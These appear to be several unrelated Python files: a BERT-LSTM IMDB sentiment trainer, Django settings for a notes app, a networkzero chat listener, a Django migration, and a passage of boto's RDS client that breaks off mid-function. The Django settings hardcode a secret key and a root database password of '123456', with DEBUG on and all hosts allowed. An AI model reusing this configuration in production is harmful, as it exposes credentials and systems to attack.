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# -*- coding: utf-8 -*- """ Created on Wed Jun 24 17:01:50 2020 @author: 13758 """ import os import random import numpy as np import matplotlib.pyplot as plt import torch from torch import nn #import nltk #nltk.download('stopwords') #stopwords = nltk.corpus.stopwords.words('english') from torch.nn.utils.rnn import pad_packed_sequence, pack_padded_sequence from collections import OrderedDict, defaultdict from torch.utils.data import Dataset, DataLoader, Subset from keras.preprocessing.sequence import pad_sequences from data_sampler import data_infor from pre_processing import pre_processing from transformers import BertModel, BertTokenizer from model_lstm_bert import bert_lstm import argparse SEED = 1234 random.seed(SEED) np.random.seed(SEED) def str2bool(string): if isinstance(string, bool): return string if string.lower() in ('yes', 'true', 't', 'y', '1'): return True elif string.lower() in ('no', 'false', 'f', 'n', '0'): return False else: raise argparse.ArgumentTypeError('Boolean value expected') parser = argparse.ArgumentParser( description = 'Sentiment analysis training with BERT&LSTM' ) parser.add_argument('--freeze', help = 'Freeze BERT or not', type = str2bool, default = True) parser.add_argument('--nlayer', help = 'The number of LSTM layers', type = int, default = 2) parser.add_argument('--data', help = 'The applied dataset', default = 'IMDB') parser.add_argument('--kept_prob_dropout', help = 'The probability to keep params', type = float, default = 1) parser.add_argument('--epoches', help = 'The number of epoches', type = int, default = 100) parser.add_argument('--learning_rate', help = 'learning rate', type = float, default = 0.0005) parser.add_argument('--bidirection', help = 'LSTM bidirection', type = str2bool, default = False) parser.add_argument('--tokenizer', help = 'Pre-processing tokenizer', default = 'bert') parser.add_argument('--save_path', help = 'Save path', default = '/lustre/scratch/scratch/ucabdc3/bert_lstm_attack') def data_loading(train_text, test_text, train_target, test_target): dataset = data_infor(train_text, train_target) len_train = len(dataset) indx = list(range(len_train)) all_train_data = Subset(dataset, indx) train_indx = random.sample(indx, int(len_train*0.8)) vali_indx = [i for i in indx if i not in train_indx] train_data = Subset(dataset, train_indx) vali_data = Subset(dataset, vali_indx) dataset = data_infor(test_text, test_target) len_test = len(dataset) indx = list(range(len_test)) test_data = Subset(dataset, indx) return all_train_data, train_data, vali_data, test_data def imdb_run(): args = parser.parse_args() data = args.data freeze = args.freeze nlayer = args.nlayer kept_prob = args.kept_prob_dropout bert_lstm_save_path=args.save_path learning_rate = args.learning_rate epoches = args.epoches tokenizer_selection = args.tokenizer if data.lower() == 'imdb': data_path = 'aclImdb' bert = BertModel.from_pretrained('bert-base-uncased') tokenizer = BertTokenizer.from_pretrained('bert-base-uncased') max_len = 100 # max_vocab = bert.config.to_dict()['vocab_size']-3 # data_processed = pre_processing(data_path, max_vocab) # train_sequences, test_sequences = data_processed.seqs_num() # train_text_init, test_text_init = data_processed.numerical(train_sequences, test_sequences, max_len = max_len) max_vocab = 50000 data_processed = pre_processing(data_path, max_vocab, max_len) if tokenizer_selection.lower() != 'bert': data_processed.processing() train_sequences, test_sequences = data_processed.bert_indx(tokenizer) print('Self preprocessing') else: data_processed.bert_tokenize(tokenizer) train_sequences, test_sequences = data_processed.bert_indx(tokenizer) print('BERT tokenizer') train_text_init, test_text_init = data_processed.numerical(tokenizer, train_sequences, test_sequences) train_text = pad_sequences(train_text_init, maxlen = max_len, padding = 'post') test_text = pad_sequences(test_text_init, maxlen = max_len, padding = 'post') train_target = data_processed.all_train_labels test_target = data_processed.all_test_labels all_train_data, train_data, vali_data, test_data = data_loading(train_text, test_text, train_target, test_target) device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu') print(device) BatchSize = 128#int(length_train/200) all_train_loader = DataLoader(all_train_data, batch_size = BatchSize, shuffle = True) train_loader = DataLoader(train_data, batch_size = BatchSize, shuffle = True) vali_loader = DataLoader(vali_data, batch_size = BatchSize, shuffle = True) test_loader = DataLoader(test_data, batch_size = BatchSize, shuffle = True) bidirection = args.bidirection model = bert_lstm(bert, 2, bidirection, nlayer, 128, freeze, kept_prob) model.to(device) criterion = nn.CrossEntropyLoss() optimiser = torch.optim.AdamW([cont for cont in model.parameters() if cont.requires_grad], lr = learning_rate) bert_lstm_save_path = os.path.join(bert_lstm_save_path, 'best_bert_'+str(kept_prob)+'_'+str(learning_rate)+'_'+str(tokenizer_selection)+'_'+str(max_len)) best_epoch = 0 best_acc = 0 patience = 20 for epoch in range(epoches): test_pred = torch.tensor([]) test_targets = torch.tensor([]) train_pred = torch.tensor([]) train_targets = torch.tensor([]) test_loss = [] train_loss = [] model.train() for batch_index, (seqs, length, target) in enumerate(all_train_loader): seqs = seqs.type(torch.LongTensor) args = torch.argsort(length, descending = True) length = length[args] seqs = seqs[args][:, 0:length[0]] target = target[args].type(torch.LongTensor) optimiser.zero_grad() seqs, target, length = seqs.to(device), target.to(device), length.to(device) output, pred_out = model(seqs, length, True) loss = criterion(output, target) loss.backward() optimiser.step() train_pred = torch.cat((train_pred, pred_out.cpu()), dim = 0) train_targets = torch.cat((train_targets, target.type(torch.float).cpu())) train_loss.append(loss) if batch_index % 100 == 0: print('Train Batch:{}, Train Loss:{:.4f}.'.format(batch_index, loss.item())) train_accuracy = model.evaluate_accuracy(train_pred.detach().numpy(), train_targets.detach().numpy()) print('Epoch:{}, Train Accuracy:{:.4f}, Train Mean loss:{:.4f}.'.format(epoch, train_accuracy, sum(train_loss)/len(train_loss))) print("\n") model.eval() with torch.no_grad(): for batch_index, (seqs, length, target) in enumerate(test_loader): seqs = seqs.type(torch.LongTensor) len_order = torch.argsort(length, descending = True) length = length[len_order] seqs = seqs[len_order] target = target[len_order].type(torch.LongTensor) seqs, target, length = seqs.to(device), target.to(device), length.to(device) output, pred_out = model(seqs, length, False) test_pred = torch.cat((test_pred, pred_out.type(torch.float).cpu()), dim = 0) test_targets = torch.cat((test_targets, target.type(torch.float).cpu())) loss = criterion(output, target) test_loss.append(loss.item()) if batch_index % 100 == 0: print('Vali Batch:{}, Vali Loss:{:.4f}.'.format(batch_index, loss.item())) accuracy = model.evaluate_accuracy(test_pred.numpy(), test_targets.numpy()) print('Epoch:{}, Vali Accuracy:{:.4f}, Vali Mean loss:{:.4f}.'.format(epoch, accuracy, sum(test_loss)/len(test_loss))) # best save if accuracy > best_acc: best_acc = accuracy best_epoch = epoch torch.save(model.state_dict(), bert_lstm_save_path) # early stop if epoch-best_epoch >=patience: print('Early stopping') print('Best epoch: {}, Best accuracy: {:.4f}.'.format(best_epoch, best_acc)) print('\n\n') break model.load_state_dict(torch.load(bert_lstm_save_path)) model.eval() with torch.no_grad(): for batch_index, (seqs, length, target) in enumerate(test_loader): seqs = seqs.type(torch.LongTensor) len_order = torch.argsort(length, descending = True) length = length[len_order] seqs = seqs[len_order] target = target[len_order].type(torch.LongTensor) seqs, target, length = seqs.to(device), target.to(device), length.to(device) output, pred_out = model(seqs, length, False) test_pred = torch.cat((test_pred, pred_out.type(torch.float).cpu()), dim = 0) test_targets = torch.cat((test_targets, target.type(torch.float).cpu())) loss = criterion(output, target) test_loss.append(loss.item()) accuracy = model.evaluate_accuracy(test_pred.numpy(), test_targets.numpy()) print('Test Accuracy:{:.4f}, Test Mean loss:{:.4f}.'.format(accuracy, sum(test_loss)/len(test_loss))) if __name__ == '__main__': imdb_run()
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""" Django settings for Notepad project. Generated by 'django-admin startproject' using Django 2.2.24. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'i(4*c%rg4$9ce*&g-fb&7(!7^aef$%=3^x3hi@(-sfkwep57f+' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['*'] REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework_simplejwt.authentication.JWTAuthentication', ) } # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'corsheaders', 'django_mysql', 'rest_framework', 'rest_framework_simplejwt', 'Notepad.owners', 'Notepad.notes', ] MIDDLEWARE = [ 'corsheaders.middleware.CorsMiddleware', 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'Notepad.urls' CORS_ORIGIN_WHITELIST = ( 'http://0.0.0.0:3000', 'http://localhost:3000', 'http://localhost:8000', 'http://18.118.112.37', 'http://18.118.112.37:8000' ) TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'Notepad.wsgi.application' # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'OPTIONS': { 'read_default_file': '../mysql/my.cnf', 'charset': 'utf8mb4', }, # Tell Django to build the test database with the 'utf8mb4' character set 'TEST': { 'CHARSET': 'utf8mb4', 'COLLATION': 'utf8mb4_unicode_ci', }, 'NAME': 'note', 'USER': 'root', 'PASSWORD': '123456', 'HOST': 'note_db', 'PORT': 3306, } } # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] AUTH_USER_MODEL = 'owners.Owner' # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = '/static/' SESSION_TIMEOUT = 60
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import networkzero as nw0 updates = nw0.discover("chat-updates") while True: action, message = nw0.wait_for_notification(updates) print(action, message) if action == "JOIN": print("%s has joined" % message) elif action == "LEAVE": print("%s has left" % message) elif action == "SPEAK": [person, words] = message print("%s says: %s" % (person, words)) else: print("!! Unexpected message: %s" % message)
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# Generated by Django 2.2 on 2019-07-05 17:37 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('users', '0024_auto_20190705_2112'), ] operations = [ migrations.AlterModelOptions( name='advertisernotification', options={'ordering': ['-id'], 'verbose_name': 'AdvertiserNotification', 'verbose_name_plural': 'AdvertiserNotifications'}, ), ]
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# Copyright (c) 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, dis- # tribute, sublicense, and/or sell copies of the Software, and to permit # persons to whom the Software is furnished to do so, subject to the fol- # lowing conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL- # ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT # SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. # import boto from boto.connection import AWSQueryConnection from boto.regioninfo import RegionInfo from boto.exception import JSONResponseError from boto.rds2 import exceptions from boto.compat import json class RDSConnection(AWSQueryConnection): """ Amazon Relational Database Service Amazon Relational Database Service (Amazon RDS) is a web service that makes it easier to set up, operate, and scale a relational database in the cloud. It provides cost-efficient, resizable capacity for an industry-standard relational database and manages common database administration tasks, freeing up developers to focus on what makes their applications and businesses unique. Amazon RDS gives you access to the capabilities of a familiar MySQL or Oracle database server. This means the code, applications, and tools you already use today with your existing MySQL or Oracle databases work with Amazon RDS without modification. Amazon RDS automatically backs up your database and maintains the database software that powers your DB instance. Amazon RDS is flexible: you can scale your database instance's compute resources and storage capacity to meet your application's demand. As with all Amazon Web Services, there are no up-front investments, and you pay only for the resources you use. This is the Amazon RDS API Reference . It contains a comprehensive description of all Amazon RDS Query APIs and data types. Note that this API is asynchronous and some actions may require polling to determine when an action has been applied. See the parameter description to determine if a change is applied immediately or on the next instance reboot or during the maintenance window. For more information on Amazon RDS concepts and usage scenarios, go to the `Amazon RDS User Guide`_. """ APIVersion = "2013-09-09" DefaultRegionName = "us-east-1" DefaultRegionEndpoint = "rds.us-east-1.amazonaws.com" ResponseError = JSONResponseError _faults = { "InvalidSubnet": exceptions.InvalidSubnet, "DBParameterGroupQuotaExceeded": exceptions.DBParameterGroupQuotaExceeded, "DBSubnetGroupAlreadyExists": exceptions.DBSubnetGroupAlreadyExists, "DBSubnetGroupQuotaExceeded": exceptions.DBSubnetGroupQuotaExceeded, "InstanceQuotaExceeded": exceptions.InstanceQuotaExceeded, "InvalidRestore": exceptions.InvalidRestore, "InvalidDBParameterGroupState": exceptions.InvalidDBParameterGroupState, "AuthorizationQuotaExceeded": exceptions.AuthorizationQuotaExceeded, "DBSecurityGroupAlreadyExists": exceptions.DBSecurityGroupAlreadyExists, "InsufficientDBInstanceCapacity": exceptions.InsufficientDBInstanceCapacity, "ReservedDBInstanceQuotaExceeded": exceptions.ReservedDBInstanceQuotaExceeded, "DBSecurityGroupNotFound": exceptions.DBSecurityGroupNotFound, "DBInstanceAlreadyExists": exceptions.DBInstanceAlreadyExists, "ReservedDBInstanceNotFound": exceptions.ReservedDBInstanceNotFound, "DBSubnetGroupDoesNotCoverEnoughAZs": exceptions.DBSubnetGroupDoesNotCoverEnoughAZs, "InvalidDBSecurityGroupState": exceptions.InvalidDBSecurityGroupState, "InvalidVPCNetworkState": exceptions.InvalidVPCNetworkState, "ReservedDBInstancesOfferingNotFound": exceptions.ReservedDBInstancesOfferingNotFound, "SNSTopicArnNotFound": exceptions.SNSTopicArnNotFound, "SNSNoAuthorization": exceptions.SNSNoAuthorization, "SnapshotQuotaExceeded": exceptions.SnapshotQuotaExceeded, "OptionGroupQuotaExceeded": exceptions.OptionGroupQuotaExceeded, "DBParameterGroupNotFound": exceptions.DBParameterGroupNotFound, "SNSInvalidTopic": exceptions.SNSInvalidTopic, "InvalidDBSubnetGroupState": exceptions.InvalidDBSubnetGroupState, "DBSubnetGroupNotFound": exceptions.DBSubnetGroupNotFound, "InvalidOptionGroupState": exceptions.InvalidOptionGroupState, "SourceNotFound": exceptions.SourceNotFound, "SubscriptionCategoryNotFound": exceptions.SubscriptionCategoryNotFound, "EventSubscriptionQuotaExceeded": exceptions.EventSubscriptionQuotaExceeded, "DBSecurityGroupNotSupported": exceptions.DBSecurityGroupNotSupported, "InvalidEventSubscriptionState": exceptions.InvalidEventSubscriptionState, "InvalidDBSubnetState": exceptions.InvalidDBSubnetState, "InvalidDBSnapshotState": exceptions.InvalidDBSnapshotState, "SubscriptionAlreadyExist": exceptions.SubscriptionAlreadyExist, "DBSecurityGroupQuotaExceeded": exceptions.DBSecurityGroupQuotaExceeded, "ProvisionedIopsNotAvailableInAZ": exceptions.ProvisionedIopsNotAvailableInAZ, "AuthorizationNotFound": exceptions.AuthorizationNotFound, "OptionGroupAlreadyExists": exceptions.OptionGroupAlreadyExists, "SubscriptionNotFound": exceptions.SubscriptionNotFound, "DBUpgradeDependencyFailure": exceptions.DBUpgradeDependencyFailure, "PointInTimeRestoreNotEnabled": exceptions.PointInTimeRestoreNotEnabled, "AuthorizationAlreadyExists": exceptions.AuthorizationAlreadyExists, "DBSubnetQuotaExceeded": exceptions.DBSubnetQuotaExceeded, "OptionGroupNotFound": exceptions.OptionGroupNotFound, "DBParameterGroupAlreadyExists": exceptions.DBParameterGroupAlreadyExists, "DBInstanceNotFound": exceptions.DBInstanceNotFound, "ReservedDBInstanceAlreadyExists": exceptions.ReservedDBInstanceAlreadyExists, "InvalidDBInstanceState": exceptions.InvalidDBInstanceState, "DBSnapshotNotFound": exceptions.DBSnapshotNotFound, "DBSnapshotAlreadyExists": exceptions.DBSnapshotAlreadyExists, "StorageQuotaExceeded": exceptions.StorageQuotaExceeded, "SubnetAlreadyInUse": exceptions.SubnetAlreadyInUse, } def __init__(self, **kwargs): region = kwargs.pop('region', None) if not region: region = RegionInfo(self, self.DefaultRegionName, self.DefaultRegionEndpoint) if 'host' not in kwargs: kwargs['host'] = region.endpoint super(RDSConnection, self).__init__(**kwargs) self.region = region def _required_auth_capability(self): return ['hmac-v4'] def add_source_identifier_to_subscription(self, subscription_name, source_identifier): """ Adds a source identifier to an existing RDS event notification subscription. :type subscription_name: string :param subscription_name: The name of the RDS event notification subscription you want to add a source identifier to. :type source_identifier: string :param source_identifier: The identifier of the event source to be added. An identifier must begin with a letter and must contain only ASCII letters, digits, and hyphens; it cannot end with a hyphen or contain two consecutive hyphens. Constraints: + If the source type is a DB instance, then a `DBInstanceIdentifier` must be supplied. + If the source type is a DB security group, a `DBSecurityGroupName` must be supplied. + If the source type is a DB parameter group, a `DBParameterGroupName` must be supplied. + If the source type is a DB snapshot, a `DBSnapshotIdentifier` must be supplied. """ params = { 'SubscriptionName': subscription_name, 'SourceIdentifier': source_identifier, } return self._make_request( action='AddSourceIdentifierToSubscription', verb='POST', path='/', params=params) def add_tags_to_resource(self, resource_name, tags): """ Adds metadata tags to an Amazon RDS resource. These tags can also be used with cost allocation reporting to track cost associated with Amazon RDS resources, or used in Condition statement in IAM policy for Amazon RDS. For an overview on tagging Amazon RDS resources, see `Tagging Amazon RDS Resources`_. :type resource_name: string :param resource_name: The Amazon RDS resource the tags will be added to. This value is an Amazon Resource Name (ARN). For information about creating an ARN, see ` Constructing an RDS Amazon Resource Name (ARN)`_. :type tags: list :param tags: The tags to be assigned to the Amazon RDS resource. """ params = {'ResourceName': resource_name, } self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='AddTagsToResource', verb='POST', path='/', params=params) def authorize_db_security_group_ingress(self, db_security_group_name, cidrip=None, ec2_security_group_name=None, ec2_security_group_id=None, ec2_security_group_owner_id=None): """ Enables ingress to a DBSecurityGroup using one of two forms of authorization. First, EC2 or VPC security groups can be added to the DBSecurityGroup if the application using the database is running on EC2 or VPC instances. Second, IP ranges are available if the application accessing your database is running on the Internet. Required parameters for this API are one of CIDR range, EC2SecurityGroupId for VPC, or (EC2SecurityGroupOwnerId and either EC2SecurityGroupName or EC2SecurityGroupId for non-VPC). You cannot authorize ingress from an EC2 security group in one Region to an Amazon RDS DB instance in another. You cannot authorize ingress from a VPC security group in one VPC to an Amazon RDS DB instance in another. For an overview of CIDR ranges, go to the `Wikipedia Tutorial`_. :type db_security_group_name: string :param db_security_group_name: The name of the DB security group to add authorization to. :type cidrip: string :param cidrip: The IP range to authorize. :type ec2_security_group_name: string :param ec2_security_group_name: Name of the EC2 security group to authorize. For VPC DB security groups, `EC2SecurityGroupId` must be provided. Otherwise, EC2SecurityGroupOwnerId and either `EC2SecurityGroupName` or `EC2SecurityGroupId` must be provided. :type ec2_security_group_id: string :param ec2_security_group_id: Id of the EC2 security group to authorize. For VPC DB security groups, `EC2SecurityGroupId` must be provided. Otherwise, EC2SecurityGroupOwnerId and either `EC2SecurityGroupName` or `EC2SecurityGroupId` must be provided. :type ec2_security_group_owner_id: string :param ec2_security_group_owner_id: AWS Account Number of the owner of the EC2 security group specified in the EC2SecurityGroupName parameter. The AWS Access Key ID is not an acceptable value. For VPC DB security groups, `EC2SecurityGroupId` must be provided. Otherwise, EC2SecurityGroupOwnerId and either `EC2SecurityGroupName` or `EC2SecurityGroupId` must be provided. """ params = {'DBSecurityGroupName': db_security_group_name, } if cidrip is not None: params['CIDRIP'] = cidrip if ec2_security_group_name is not None: params['EC2SecurityGroupName'] = ec2_security_group_name if ec2_security_group_id is not None: params['EC2SecurityGroupId'] = ec2_security_group_id if ec2_security_group_owner_id is not None: params['EC2SecurityGroupOwnerId'] = ec2_security_group_owner_id return self._make_request( action='AuthorizeDBSecurityGroupIngress', verb='POST', path='/', params=params) def copy_db_snapshot(self, source_db_snapshot_identifier, target_db_snapshot_identifier, tags=None): """ Copies the specified DBSnapshot. The source DBSnapshot must be in the "available" state. :type source_db_snapshot_identifier: string :param source_db_snapshot_identifier: The identifier for the source DB snapshot. Constraints: + Must be the identifier for a valid system snapshot in the "available" state. Example: `rds:mydb-2012-04-02-00-01` :type target_db_snapshot_identifier: string :param target_db_snapshot_identifier: The identifier for the copied snapshot. Constraints: + Cannot be null, empty, or blank + Must contain from 1 to 255 alphanumeric characters or hyphens + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens Example: `my-db-snapshot` :type tags: list :param tags: A list of tags. """ params = { 'SourceDBSnapshotIdentifier': source_db_snapshot_identifier, 'TargetDBSnapshotIdentifier': target_db_snapshot_identifier, } if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='CopyDBSnapshot', verb='POST', path='/', params=params) def create_db_instance(self, db_instance_identifier, allocated_storage, db_instance_class, engine, master_username, master_user_password, db_name=None, db_security_groups=None, vpc_security_group_ids=None, availability_zone=None, db_subnet_group_name=None, preferred_maintenance_window=None, db_parameter_group_name=None, backup_retention_period=None, preferred_backup_window=None, port=None, multi_az=None, engine_version=None, auto_minor_version_upgrade=None, license_model=None, iops=None, option_group_name=None, character_set_name=None, publicly_accessible=None, tags=None): """ Creates a new DB instance. :type db_name: string :param db_name: The meaning of this parameter differs according to the database engine you use. **MySQL** The name of the database to create when the DB instance is created. If this parameter is not specified, no database is created in the DB instance. Constraints: + Must contain 1 to 64 alphanumeric characters + Cannot be a word reserved by the specified database engine Type: String **Oracle** The Oracle System ID (SID) of the created DB instance. Default: `ORCL` Constraints: + Cannot be longer than 8 characters **SQL Server** Not applicable. Must be null. :type db_instance_identifier: string :param db_instance_identifier: The DB instance identifier. This parameter is stored as a lowercase string. Constraints: + Must contain from 1 to 63 alphanumeric characters or hyphens (1 to 15 for SQL Server). + First character must be a letter. + Cannot end with a hyphen or contain two consecutive hyphens. Example: `mydbinstance` :type allocated_storage: integer :param allocated_storage: The amount of storage (in gigabytes) to be initially allocated for the database instance. **MySQL** Constraints: Must be an integer from 5 to 1024. Type: Integer **Oracle** Constraints: Must be an integer from 10 to 1024. **SQL Server** Constraints: Must be an integer from 200 to 1024 (Standard Edition and Enterprise Edition) or from 30 to 1024 (Express Edition and Web Edition) :type db_instance_class: string :param db_instance_class: The compute and memory capacity of the DB instance. Valid Values: `db.t1.micro | db.m1.small | db.m1.medium | db.m1.large | db.m1.xlarge | db.m2.xlarge |db.m2.2xlarge | db.m2.4xlarge` :type engine: string :param engine: The name of the database engine to be used for this instance. Valid Values: `MySQL` | `oracle-se1` | `oracle-se` | `oracle-ee` | `sqlserver-ee` | `sqlserver-se` | `sqlserver-ex` | `sqlserver-web` :type master_username: string :param master_username: The name of master user for the client DB instance. **MySQL** Constraints: + Must be 1 to 16 alphanumeric characters. + First character must be a letter. + Cannot be a reserved word for the chosen database engine. Type: String **Oracle** Constraints: + Must be 1 to 30 alphanumeric characters. + First character must be a letter. + Cannot be a reserved word for the chosen database engine. **SQL Server** Constraints: + Must be 1 to 128 alphanumeric characters. + First character must be a letter. + Cannot be a reserved word for the chosen database engine. :type master_user_password: string :param master_user_password: The password for the master database user. Can be any printable ASCII character except "/", '"', or "@". Type: String **MySQL** Constraints: Must contain from 8 to 41 characters. **Oracle** Constraints: Must contain from 8 to 30 characters. **SQL Server** Constraints: Must contain from 8 to 128 characters. :type db_security_groups: list :param db_security_groups: A list of DB security groups to associate with this DB instance. Default: The default DB security group for the database engine. :type vpc_security_group_ids: list :param vpc_security_group_ids: A list of EC2 VPC security groups to associate with this DB instance. Default: The default EC2 VPC security group for the DB subnet group's VPC. :type availability_zone: string :param availability_zone: The EC2 Availability Zone that the database instance will be created in. Default: A random, system-chosen Availability Zone in the endpoint's region. Example: `us-east-1d` Constraint: The AvailabilityZone parameter cannot be specified if the MultiAZ parameter is set to `True`. The specified Availability Zone must be in the same region as the current endpoint. :type db_subnet_group_name: string :param db_subnet_group_name: A DB subnet group to associate with this DB instance. If there is no DB subnet group, then it is a non-VPC DB instance. :type preferred_maintenance_window: string :param preferred_maintenance_window: The weekly time range (in UTC) during which system maintenance can occur. Format: `ddd:hh24:mi-ddd:hh24:mi` Default: A 30-minute window selected at random from an 8-hour block of time per region, occurring on a random day of the week. To see the time blocks available, see ` Adjusting the Preferred Maintenance Window`_ in the Amazon RDS User Guide. Valid Days: Mon, Tue, Wed, Thu, Fri, Sat, Sun Constraints: Minimum 30-minute window. :type db_parameter_group_name: string :param db_parameter_group_name: The name of the DB parameter group to associate with this DB instance. If this argument is omitted, the default DBParameterGroup for the specified engine will be used. Constraints: + Must be 1 to 255 alphanumeric characters + First character must be a letter + Cannot end with a hyphen or contain two consecutive hyphens :type backup_retention_period: integer :param backup_retention_period: The number of days for which automated backups are retained. Setting this parameter to a positive number enables backups. Setting this parameter to 0 disables automated backups. Default: 1 Constraints: + Must be a value from 0 to 8 + Cannot be set to 0 if the DB instance is a master instance with read replicas :type preferred_backup_window: string :param preferred_backup_window: The daily time range during which automated backups are created if automated backups are enabled, using the `BackupRetentionPeriod` parameter. Default: A 30-minute window selected at random from an 8-hour block of time per region. See the Amazon RDS User Guide for the time blocks for each region from which the default backup windows are assigned. Constraints: Must be in the format `hh24:mi-hh24:mi`. Times should be Universal Time Coordinated (UTC). Must not conflict with the preferred maintenance window. Must be at least 30 minutes. :type port: integer :param port: The port number on which the database accepts connections. **MySQL** Default: `3306` Valid Values: `1150-65535` Type: Integer **Oracle** Default: `1521` Valid Values: `1150-65535` **SQL Server** Default: `1433` Valid Values: `1150-65535` except for `1434` and `3389`. :type multi_az: boolean :param multi_az: Specifies if the DB instance is a Multi-AZ deployment. You cannot set the AvailabilityZone parameter if the MultiAZ parameter is set to true. :type engine_version: string :param engine_version: The version number of the database engine to use. **MySQL** Example: `5.1.42` Type: String **Oracle** Example: `11.2.0.2.v2` Type: String **SQL Server** Example: `10.50.2789.0.v1` :type auto_minor_version_upgrade: boolean :param auto_minor_version_upgrade: Indicates that minor engine upgrades will be applied automatically to the DB instance during the maintenance window. Default: `True` :type license_model: string :param license_model: License model information for this DB instance. Valid values: `license-included` | `bring-your-own-license` | `general- public-license` :type iops: integer :param iops: The amount of Provisioned IOPS (input/output operations per second) to be initially allocated for the DB instance. Constraints: Must be an integer greater than 1000. :type option_group_name: string :param option_group_name: Indicates that the DB instance should be associated with the specified option group. Permanent options, such as the TDE option for Oracle Advanced Security TDE, cannot be removed from an option group, and that option group cannot be removed from a DB instance once it is associated with a DB instance :type character_set_name: string :param character_set_name: For supported engines, indicates that the DB instance should be associated with the specified CharacterSet. :type publicly_accessible: boolean :param publicly_accessible: Specifies the accessibility options for the DB instance. A value of true specifies an Internet-facing instance with a publicly resolvable DNS name, which resolves to a public IP address. A value of false specifies an internal instance with a DNS name that resolves to a private IP address. Default: The default behavior varies depending on whether a VPC has been requested or not. The following list shows the default behavior in each case. + **Default VPC:**true + **VPC:**false If no DB subnet group has been specified as part of the request and the PubliclyAccessible value has not been set, the DB instance will be publicly accessible. If a specific DB subnet group has been specified as part of the request and the PubliclyAccessible value has not been set, the DB instance will be private. :type tags: list :param tags: A list of tags. """ params = { 'DBInstanceIdentifier': db_instance_identifier, 'AllocatedStorage': allocated_storage, 'DBInstanceClass': db_instance_class, 'Engine': engine, 'MasterUsername': master_username, 'MasterUserPassword': master_user_password, } if db_name is not None: params['DBName'] = db_name if db_security_groups is not None: self.build_list_params(params, db_security_groups, 'DBSecurityGroups.member') if vpc_security_group_ids is not None: self.build_list_params(params, vpc_security_group_ids, 'VpcSecurityGroupIds.member') if availability_zone is not None: params['AvailabilityZone'] = availability_zone if db_subnet_group_name is not None: params['DBSubnetGroupName'] = db_subnet_group_name if preferred_maintenance_window is not None: params['PreferredMaintenanceWindow'] = preferred_maintenance_window if db_parameter_group_name is not None: params['DBParameterGroupName'] = db_parameter_group_name if backup_retention_period is not None: params['BackupRetentionPeriod'] = backup_retention_period if preferred_backup_window is not None: params['PreferredBackupWindow'] = preferred_backup_window if port is not None: params['Port'] = port if multi_az is not None: params['MultiAZ'] = str( multi_az).lower() if engine_version is not None: params['EngineVersion'] = engine_version if auto_minor_version_upgrade is not None: params['AutoMinorVersionUpgrade'] = str( auto_minor_version_upgrade).lower() if license_model is not None: params['LicenseModel'] = license_model if iops is not None: params['Iops'] = iops if option_group_name is not None: params['OptionGroupName'] = option_group_name if character_set_name is not None: params['CharacterSetName'] = character_set_name if publicly_accessible is not None: params['PubliclyAccessible'] = str( publicly_accessible).lower() if tags is not None: self.build_complex_list_params( params, tags, 'Tags.member', ('Key', 'Value')) return self._make_request( action='CreateDBInstance', verb='POST', path='/', params=params) def create_db_instance_read_replica(self, db_instance_identifier, source_db_instance_identifier, db_instance_class=None, availability_zone=None, port=None, 